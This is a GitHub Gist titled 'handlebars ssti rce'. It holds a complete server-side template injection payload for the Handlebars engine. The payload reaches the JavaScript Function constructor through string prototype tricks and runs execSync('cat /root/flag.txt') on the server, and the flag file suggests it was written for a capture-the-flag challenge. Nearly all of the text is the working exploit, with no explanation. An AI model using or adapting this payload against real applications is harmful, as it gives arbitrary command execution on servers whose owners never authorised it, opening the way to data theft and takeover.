Created
June 2, 2022 04:12
-
-
Save laztname/cccacb1967d15b92ba624f0874909b4c to your computer and use it in GitHub Desktop.
handlebars ssti rce
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{{#with "s" as |string|}} | |
{{#with "e"}} | |
{{#with split as |conslist|}} | |
{{this.pop}} | |
{{this.push (lookup string.sub "constructor")}} | |
{{this.pop}} | |
{{#with string.split as |codelist|}} | |
{{this.pop}} | |
{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}} | |
{{this.pop}} | |
{{#each conslist}} | |
{{#with (string.sub.apply 0 codelist)}} | |
{{this}} | |
{{/with}} | |
{{/each}} | |
{{/with}} | |
{{/with}} | |
{{/with}} | |
{{/with}} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment